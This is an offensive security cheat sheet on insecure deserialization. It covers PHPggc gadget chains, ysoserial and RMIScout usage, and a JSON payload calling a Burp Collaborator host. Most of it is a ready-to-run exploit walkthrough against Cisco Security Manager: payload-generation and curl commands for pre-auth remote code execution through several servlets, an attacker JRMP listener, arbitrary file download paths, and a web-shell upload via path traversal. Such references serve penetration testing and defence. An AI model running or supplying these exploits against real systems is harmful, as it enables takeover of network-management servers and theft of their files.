(De)Serialization

PHPggc

Vulnerable block of code:

<?php
$data = unserialize($_GET['data']);
print $data['message'];
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Drupal7/FD1 7.0 < ? File delete __destruct *
Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
Laminas/FD1 <= 2.11.2 File delete __destruct
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE2 5.5.39 RCE (Function call) __destruct
Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
Laravel/RCE4 5.5.39 RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Magento/FW1 ? <= 1.9.4.0 File write __destruct *
Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct
Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct
Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
PHPExcel/FD1 1.8.2+ File delete __destruct
PHPExcel/FD2 <= 1.8.1 File delete __destruct
PHPExcel/FD3 1.8.2+ File delete __destruct
PHPExcel/FD4 <= 1.8.1 File delete __destruct
Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
Slim/RCE1 3.8.1 RCE (Function call) __toString
Smarty/FD1 ? File delete __destruct
Smarty/SSRF1 ? SSRF __destruct *
SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
SwiftMailer/FW3 5.0.1 File write __toString
SwiftMailer/FW4 4.0.0 <= ? File write __destruct
Symfony/FW1 2.5.2 File write DebugImport *
Symfony/FW2 3.4 File write __destruct
Symfony/RCE1 3.3 RCE (Command) __destruct *
Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
Symfony/RCE5 5.2.* RCE (Function call) __destruct
TCPDF/FD1 <= 6.3.5 File delete __destruct *
ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *

Nmap rmi script

nmap --script rmi*

JSON

{"__type":"a"}
{"__type1":"a"}
{"__type":"System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "InnerXml":"<!DOCTYPE stuff SYSTEM 'http://gqaxjsf76ajzgrxlvj9chh21ksqje8.burpcollaborator.net'><stuff>here</stuff>"}

ysoserial gadgets

https://github.com/frohoff/ysoserial
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin
$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

RMIscout

https://github.com/BishopFox/rmiscout
./rmiscout.sh wordlist -i lists/prototypes.txt localhost 11099
java -jar rmiscout.jar wordlist -h
examples:
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
# Bruteforce using method wordlist and other options
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
# Swap object-derived types with the specified ysoserial payload and payload parameter
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
# Use GadgetProbe and a known signature to bruteforce classes on the remote classpath
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
java -jar rmiscout-1.03-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt 10.27.4.12 9050 --activation-server
java -jar rmiscout-1.03-SNAPSHOT-all.jar bruteforce -i lists/methods.txt -r void,String -p String,Object -l 1,2 10.27.4.12 9050 --activation-server
java -jar rmiscout-1.03-SNAPSHOT-all.jar exploit -s 'String echoString(String x)' -p ysoserial.payloads.Groovy1 -c "nslookup aiwjstf21seieezd11yr6ymgl7rzfo.burpcollaborator.net" -n RMIInterface 10.27.4.12 9050 --activation-server
java -jar rmiscout-1.03-SNAPSHOT-all.jar probe -s 'String echo(java.lang.Object qwewqe)' -i maven_popular.list -d "nslookup aiwjstf21seieezd11yr6ymgl7rzfo.burpcollaborator.net" -n RMIInterface 10.27.4.12 9050
maven_popular.list:
https://raw.githubusercontent.com/BishopFox/GadgetProbe/master/wordlists/maven_popular.list

Deserialization CISCO devices

Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.

Requirement: Download commons-beanutils-1.6.1.jar from central maven repository.

Remote Code Execution SecretService.jsp :-)

java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils

curl -k --request POST --data-binary "@payload_CommonsBeanutils" https://[TARGET_HOST]/CSCOnm/servlet/SecretService.jsp

Remote Code Execution CsJaasServiceServlet

Compile JaasEncryptor.java and replace the b64Payload content:

import java.security.InvalidKeyException;
import java.util.Base64;
import com.cisco.nm.cmf.security.jaas.BlobCrypt;
public class JaasEncryptor {
public static void main(String args[]) {
String b64Payload = "rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVyAAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3MQAKVW5pY2FzdFJlZgAIMTAuMC4wLjIAAAG7AAAAAEBnvkQAAAAAAAAAAAAAAAAAAAB4";
byte[] payload = Base64.getDecoder().decode(b64Payload);
byte[] key = new byte[]{-100, 76, -23, 87, 125, 0, 5, 94, 12, 76, 37, -84, 36, 78, 123, 5};
byte[] enc = BlobCrypt.encryptArray(payload, key);
System.out.println("Encrypted payload: " + Base64.getEncoder().encodeToString(enc));
byte[] dec = BlobCrypt.decryptArray(enc, key);
}
}

Prepare JRMP Listener:

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 443

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:443' | base64 -w0

Compile encrypted payload:

javac -cp [YOUR_PATH]]/server_jars_classes/jars.jar:./ JaasEncryptor2.java; java -cp [YOUR_PATH]/server_jars_classes/jars.jar:./ JaasEncryptor

Send payload to Servlet with parameters cmd=data + new line + data=[ENCRYPTED_PAYLOAD].

Remote Code Execution AuthTokenServlet

Prepare JRMP Listener:

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:1337' > payload_JRMP1_2

Send request:

curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.AuthTokenServlet

Remote Code Execution ClientServicesServlet

Prepare JRMP listener:

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_3

Send request:

curl -k --request POST --data-binary "@payload_JRMP1_3" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.ClientServicesServlet

Remote Code Execution CTMServlet

java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils1_2

curl -i -s -k -X $'POST' -H $'Content-Type: application/octet-stream' -H $'CTM-URN: com-cisco-nm-vms-ipintel-IpIntelligenceApi' -H $'CTM-VERSION: 1.5' -H $'CTM-PRODUCT-ID: /C:/Program Files (x86)/CSCOpx/MDC/tomcat/vms/athena/WEB-INF/lib/' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'User-Agent: Java/1.8.0_222' -H $'Host: [TARGET_IP]' -H $'Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2' -H $'Connection: keep-alive' --data-binary "@payload_CommonsBeanutils1_2" $'https://[TARGET_IP]/athena/CTMServlet'

Arbitrary File Download XdmConfigRequestHandler

GET /athena/xdmProxy/xdmConfig[RELATIVE_PATH_TO_FILE]

Arbitrary File Download XdmResourceRequestHandler

GET /athena/xdmProxy/xdmResources[RELATIVE_PATH_TO_FILE]?dmTargetType=TARGET.IDS&dmOsVersion=7.&command=editConfigDelta

Arbitrary File Upload XmpFileUploadServlet

Write a web shell e.g.

POST /cwhp/XmpFileUploadServlet?maxFileSize=100

Normal multi-part e.g. writing web shell in filename with ../../MDC/tomcat/webapps/cwhp/testme.jsp.

Arbitrary File Download XmpFileDownloadServlet

GET /cwhp/XmpFileDownloadServlet?parameterName=downloadDoc&downloadDirectory=[RELATIVE_PATH_TO_DIRECTORY]&readmeText=1

This will respond with a ZIP file containing all files from the directory.

Arbitrary File Download SampleFileDownloadServlet

GET /cwhp/SampleFileDownloadServlet?downloadZipFileName=pwned&downloadFiles=README&downloadLocation=[RELATIVE_PATH_TO_DIRECTORY]

This will respond with a ZIP file containing all files from the directory.

Arbitrary File Download resultsFrame.jsp

GET /athena/itf/resultsFrame.jsp?filename=[RELATIVE_PATH_TO_FILE]

Remote Code Execution SecretServiceServlet

See also https://de.tenable.com/security/research/tra-2017-23

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_2

curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.SecretServiceServlet

Reference: https://gist.github.com/Frycos/8bf5c125d720b3504b4f28a1126e509e

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